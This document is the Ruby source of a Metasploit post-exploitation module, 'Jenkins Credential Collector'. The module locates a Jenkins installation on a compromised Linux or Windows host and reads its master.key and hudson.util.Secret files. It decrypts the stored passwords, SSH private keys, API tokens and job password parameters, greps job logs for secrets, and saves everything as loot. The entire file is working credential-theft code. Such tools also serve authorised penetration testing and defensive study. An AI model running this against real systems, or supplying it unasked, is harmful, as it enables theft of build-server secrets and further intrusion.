Jenkins Credential Collector

require 'nokogiri'
require 'base64'
require 'digest'
require 'openssl'
require 'sshkey'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Linux::System

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Jenkins Credential Collector',
        'Description' => %q{
          This module can be used to extract saved Jenkins credentials, user
          tokens, SSH keys, and secrets. Interesting files will be stored in
          loot along with combined csv output.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'thesubtlety' ],
        'Platform' => [ 'linux', 'win' ],
        'SessionTypes' => %w[shell meterpreter],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_search
            ]
          }
        }
      )
    )
    register_options(
      [
        OptString.new('JENKINS_HOME', [ false, 'Set to the home directory of Jenkins. The Linux versions default to /var/lib/jenkins, but C:\\\\ProgramData\\\\Jenkins\\\\.jenkins on Windows.', ]),
        OptBool.new('STORE_LOOT', [false, 'Store files in loot (will simply output file to console if set to false).', true]),
        OptBool.new('SEARCH_JOBS', [false, 'Search through job history logs for interesting keywords. Increases runtime.', false])
      ]
    )

    @nodes = []
    @creds = []
    @ssh_keys = []
    @api_tokens = []
  end

  def report_creds(user, pass)
    return if user.blank? || pass.blank?

    credential_data = {
      origin_type: :session,
      post_reference_name: fullname,
      private_data: pass,
      private_type: :password,
      session_id: session_db_id,
      username: user,
      workspace_id: myworkspace_id
    }

    create_credential(credential_data)
  end

  def parse_credentialsxml(file)
    # Newer versions of Jenkins do not create `credentials.xml` until credentials have been added via Jenkins client
    # tested on versions 2.401.1, 2.346.3
    if exists?(file)
      vprint_status('Parsing credentials.xml...')
      f = read_file(file)
      if datastore['STORE_LOOT']
        loot_path = store_loot('jenkins.creds', 'text/xml', session, f, file)
        vprint_status("File credentials.xml saved to #{loot_path}")
      end
    else
      vprint_status('There is no credential.xml file present')
    end

    xml_doc = Nokogiri::XML(f)
    xml_doc.xpath('//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl').each do |node|
      username = node.xpath('username').text
      password = decrypt(node.xpath('password').text)
      description = node.xpath('description').text
      print_good("Credentials found - Username: #{username} Password: #{password}")
      report_creds(username, password)
      @creds << [username, password, description]
    end

    xml_doc.xpath('//com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey').each do |node|
      cred_id = node.xpath('id').text
      username = node.xpath('username').text
      description = node.xpath('description').text
      passphrase = node.xpath('passphrase').text
      passphrase = decrypt(passphrase)
      private_key = node.xpath('//privateKeySource//privateKey').text
      private_key = decrypt(private_key) if !private_key.match?(/----BEGIN/)
      print_good("SSH Key found! ID: #{cred_id} Passphrase: #{passphrase || '<empty>'} Username: #{username} Description: #{description}")

      store_loot("ssh-#{cred_id}", 'text/plain', session, private_key, nil, nil) if datastore['STORE_LOOT']
      @ssh_keys << [cred_id, description, passphrase, username, private_key]

      begin
        k = OpenSSL::PKey::RSA.new(private_key, passphrase)
        key = SSHKey.new(k, passphrase: passphrase, comment: cred_id)
        credential_data = {
          origin_type: :session,
          session_id: session_db_id,
          post_reference_name: refname,
          private_type: :ssh_key,
          private_data: key.key_object.to_s,
          username: cred_id,
          workspace_id: myworkspace_id
        }
        create_credential(credential_data)
      rescue OpenSSL::OpenSSLError => e
        print_error("Could not save SSH key to creds: #{e.message}")
      end
    end
  end

  def parse_users(file)
    f = read_file(file)
    fname = file.tr('\\', '/').split('/')[-2]
    vprint_status("Parsing user #{fname}...")

    username = ''
    api_token = ''
    xml_doc = Nokogiri::XML(f)
    xml_doc.xpath('//user').each do |node|
      username = node.xpath('fullName').text
    end

    xml_doc.xpath('//jenkins.security.ApiTokenProperty').each do |node|
      api_token = decrypt(node.xpath('apiToken').text)
    end

    if api_token
      print_good("API Token found - Username: #{username} Token: #{api_token}")
      @api_tokens << [username, api_token]
      report_creds(username, api_token)
      store_loot("user-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
    end
  end

  def parse_nodes(file)
    f = read_file(file)
    fname = file.tr('\\', '/').split('/')[-2]
    vprint_status("Parsing node #{fname}...")

    node_name = ''
    description = ''
    host = ''
    port = ''
    cred_id = ''
    xml_doc = Nokogiri::XML(f)
    xml_doc.xpath('//slave').each do |node|
      node_name = node.xpath('name').text
      description = node.xpath('description').text
    end

    xml_doc.xpath('//launcher').each do |node|
      host = node.xpath('host').text
      port = node.xpath('port').text
      cred_id = node.xpath('credentialsId').text
    end

    @nodes << [node_name, host, port, description, cred_id]
    print_good("Node Info found - Name: #{node_name} Host: #{host} Port: #{port} CredID: #{cred_id}")
    store_loot("node-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
  end

  def parse_jobs(file)
    f = read_file(file)
    fname = file.tr('\\', '/').split('/')[-4]
    vprint_status("Parsing job #{fname}...")

    username = ''
    pw = ''
    job_name = file.split(%r{/jobs/(.*?)/builds/})[1]
    xml_doc = Nokogiri::XML(f)
    xml_doc.xpath('//hudson.model.PasswordParameterValue').each do |node|
      username = node.xpath('name').text
      pw = decrypt(node.xpath('value').text)
    end

    @creds << [username, pw, '']
    print_good("Job Info found - Job Name: #{job_name} User: #{username} Password: #{pw}") if !pw.blank?
    store_loot("job-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
  end

  def pretty_print_gathered
    creds_table = Rex::Text::Table.new(
      'Header' => 'Creds',
      'Indent' => 1,
      'Columns' =>
        [
          'Username',
          'Password',
          'Description'
        ]
    )
    @creds.uniq.each { |e| creds_table << e }
    print_good("\n" + creds_table.to_s) if !creds_table.rows.count.zero?
    store_loot('all.creds.csv', 'text/plain', session, creds_table.to_csv, nil, nil) if datastore['STORE_LOOT']

    api_table = Rex::Text::Table.new(
      'Header' => 'API Keys',
      'Indent' => 1,
      'Columns' =>
        [
          'Username',
          'API Tokens'
        ]
    )
    @api_tokens.uniq.each { |e| api_table << e }
    print_good("\n" + api_table.to_s) if !api_table.rows.count.zero?
    store_loot('all.apitokens.csv', 'text/plain', session, api_table.to_csv, nil, nil) if datastore['STORE_LOOT']

    node_table = Rex::Text::Table.new(
      'Header' => 'Nodes',
      'Indent' => 1,
      'Columns' =>
        [
          'Node Name',
          'Hostname',
          'Port',
          'Description',
          'Cred Id'
        ]
    )
    @nodes.uniq.each { |e| node_table << e }
    print_good("\n" + node_table.to_s) if !node_table.rows.count.zero?
    store_loot('all.nodes.csv', 'text/plain', session, node_table.to_csv, nil, nil) if datastore['STORE_LOOT']

    @ssh_keys.uniq.each do |e|
      print_good('SSH Key')
      print_status(" ID: #{e[0]}")
      print_status(" Description: #{e[1]}") if !e[1].blank?
      print_status(" Passphrase:  #{e[2]}") if !e[2].blank?
      print_status(" Username:    #{e[3]}") if !e[3].blank?
      print_status("\n#{e[4]}")
    end
    ssh_output = @ssh_keys.each { |e| e.join(',') + "\n\n\n" }
    store_loot('all.sshkeys', 'text/plain', session, ssh_output, nil, nil) if datastore['STORE_LOOT'] && !ssh_output.empty?
  end

  def grep_job_history(path, platform)
    print_status('Searching through job history for interesting keywords...')
    case platform
    when 'windows'
      results = cmd_exec('cmd.exe', "/c findstr /s /i \"secret key token password\" \"#{path}*log\"")
    when 'nix'
      results = cmd_exec('/bin/egrep', "-ir \"password|secret|key\" --include log \"#{path}\"")
    end
    store_loot('jobhistory.truffles', 'text/plain', session, results, nil, nil) if datastore['STORE_LOOT'] && !results.empty?
    print_good("Job Log truffles:\n#{results}") if !results.empty?
  end

  def find_configs(path, platform)
    case platform

    when 'windows'
      case session.type
      when 'meterpreter'
        configs = ''
        c = session.fs.file.search(path, 'config.xml', true, -1) \
                   .concat(session.fs.file.search(path, 'build.xml', true, -1))
        c.each { |f| configs << f['path'] + '\\' + f['name'] + "\n" }
      else
        configs = cmd_exec('cmd.exe', "/c dir /b /s \"#{path}\\*config.xml\" \"#{path}\\*build.xml\"")
      end
      configs.split("\n").each do |f|
        case f
        when /\\users\\/
          parse_users(f)
        when /\\jobs\\/
          parse_jobs(f)
        when /\\nodes\\/
          parse_nodes(f)
        end
      end

    when 'nix'
      configs = cmd_exec('/usr/bin/find', "\"#{path}\" -name config.xml -o -name build.xml")
      configs.split("\n").each do |f|
        case f
        when %r{/users/}
          parse_users(f)
        when %r{/jobs/}
          parse_jobs(f)
        when %r{/nodes/}
          parse_nodes(f)
        end
      end
    end
  end

  def get_key_material(home, platform)
    case platform
    when 'windows'
      master_key_path = "#{home}\\secrets\\master.key"
      hudson_secret_key_path = "#{home}\\secrets\\hudson.util.Secret"
      initial_admin_password_path = "#{home}\\secrets\\initialAdminPassword"
    when 'nix'
      master_key_path = "#{home}/secrets/master.key"
      hudson_secret_key_path = "#{home}/secrets/hudson.util.Secret"
      initial_admin_password_path = "#{home}/secrets/initialAdminPassword"
    end

    # Newer versions of Jenkins have an `initialAdminPassword` which contains the initial password set when configuring Jenkins
    # tested on versions 2.401.1, 2.346.3, 2.103
    if exists?(initial_admin_password_path)
      initial_admin_password = read_file(initial_admin_password_path).strip

      if datastore['STORE_LOOT']
        loot_path = store_loot('initialAdminPassword', 'text/plain', session, initial_admin_password)
        print_status("File initialAdminPassword saved to #{loot_path}")
      else
        print_status("File initialAdminPassword contents: #{initial_admin_password}")
      end
    else
      print_error 'Cannot read initialAdminPassword...'
    end

    if exists?(master_key_path)
      @master_key = read_file(master_key_path)

      if datastore['STORE_LOOT']
        loot_path = store_loot('master.key', 'text/plain', session, @master_key)
        print_status("File master.key saved to #{loot_path}")
      else
        print_status("File master.key contents: #{@master_key}")
      end
    else
      print_error 'Cannot read master.key...'
    end

    # Newer versions of Jenkins do not create `hudson.util.Secret` until credentials have been added via Jenkins client
    # tested on versions 2.401.1, 2.346.3
    if exists?(hudson_secret_key_path)
      @hudson_secret_key = read_file(hudson_secret_key_path)

      if datastore['STORE_LOOT']
        loot_path = store_loot('hudson.util.secret', 'application/octet-stream', session, @hudson_secret_key)
        print_status("File hudson.util.Secret saved to #{loot_path}")
      end
    else
      print_error 'Cannot read hudson.util.Secret...'
    end
  end

  def find_home(platform)
    if datastore['JENKINS_HOME']
      if exist?(datastore['JENKINS_HOME'] + '/secret.key.not-so-secret')
        return datastore['JENKINS_HOME']
      end
      print_status(datastore['JENKINS_HOME'] + ' does not seem to contain secrets.')
    end

    print_status('Searching for Jenkins directory... This could take some time...')
    case platform
    when 'windows'
      if exists?('C:\\ProgramData\\Jenkins\\.jenkins\\secret.key.not-so-secret')
        home = 'C:\\ProgramData\\Jenkins\\.jenkins\\'
      else
        case session.type
        when 'meterpreter'
          home = session.fs.file.search(nil, 'secret.key.not-so-secret')[0]['path']
        else
          home = cmd_exec('cmd.exe', "/c dir /b /s c:\*secret.key.not-so-secret", 120).split('\\')[0..-2].join('\\').strip
        end
      end
    when 'nix'
      if exists?('/var/lib/jenkins/secret.key.not-so-secret')
        home = '/var/lib/jenkins/'
      else
        home = cmd_exec('find', "/ -name 'secret.key.not-so-secret' 2>/dev/null", 120).split('/')[0..-2].join('/').strip
      end
    end
    fail_with(Failure::NotFound, 'No Jenkins installation found or readable, exiting...') if !exist?(home)
    print_status("Found Jenkins installation at #{home}")
    home
  end

  def gathernix
    home = find_home('nix')
    get_key_material(home, 'nix')
    parse_credentialsxml(home + '/credentials.xml')
    find_configs(home, 'nix')
    grep_job_history(home + '/jobs/', 'nix') if datastore['SEARCH_JOBS']
    pretty_print_gathered
  end

  def gatherwin
    home = find_home('windows')
    get_key_material(home, 'windows')
    parse_credentialsxml(home + '\\credentials.xml')
    find_configs(home, 'windows')
    grep_job_history(home + '\\jobs\\', 'windows') if datastore['SEARCH_JOBS']
    pretty_print_gathered
  end

  def run
    case session.platform
    when 'linux'
      gathernix
    else
      gatherwin
    end
  end

  def decrypt_key(master_key, hudson_secret_key)
    # https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c
    magic = '::::MAGIC::::'
    hashed_master_key = Digest::SHA256.digest(master_key)[0..15]
    intermediate = OpenSSL::Cipher.new('AES-128-ECB')
    intermediate.decrypt
    intermediate.key = hashed_master_key

    salted_final = intermediate.update(hudson_secret_key) + intermediate.final
    raise 'no magic key in a' if !salted_final.include?(magic)

    salted_final[0..15]
  end

  def decrypt_v2(encrypted)
    master_key = @master_key
    hudson_secret_key = @hudson_secret_key
    key = decrypt_key(master_key, hudson_secret_key)
    encrypted_text = Base64.decode64(encrypted).bytes

    iv_length = ((encrypted_text[1] & 0xff) << 24) | ((encrypted_text[2] & 0xff) << 16) | ((encrypted_text[3] & 0xff) << 8) | (encrypted_text[4] & 0xff)
    data_length = ((encrypted_text[5] & 0xff) << 24) | ((encrypted_text[6] & 0xff) << 16) | ((encrypted_text[7] & 0xff) << 8) | (encrypted_text[8] & 0xff)
    if encrypted_text.length != (1 + 8 + iv_length + data_length)
      print_error("Invalid encrypted string: #{encrypted}")
    end
    iv = encrypted_text[9..(9 + iv_length)].pack('C*')[0..15]
    code = encrypted_text[(9 + iv_length)..encrypted_text.length].pack('C*').force_encoding('UTF-8')

    cipher = OpenSSL::Cipher.new('AES-128-CBC')
    cipher.decrypt
    cipher.key = key
    cipher.iv = iv

    text = cipher.update(code) + cipher.final
    text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token
    text
  rescue StandardError => e
    print_error(e.to_s)
    return 'Could not decrypt string'
  end

  def decrypt_legacy(encrypted)
    # https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c

    magic = '::::MAGIC::::'
    master_key = @master_key
    hudson_secret_key = @hudson_secret_key
    encrypted = Base64.decode64(encrypted)

    key = decrypt_key(master_key, hudson_secret_key)
    cipher = OpenSSL::Cipher.new('AES-128-ECB')
    cipher.decrypt
    cipher.key = key

    text = cipher.update(encrypted) + cipher.final
    text = text[0..(text.length - magic.size - 1)]
    text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token
    text
  rescue StandardError => e
    print_error(e.to_s)
    return 'Could not decrypt string'
  end

  def decrypt(encrypted)
    return if encrypted.empty?

    if encrypted[0] == '{' && encrypted[-1] == '}'
      decrypt_v2(encrypted)
    else
      decrypt_legacy(encrypted)
    end
  end
end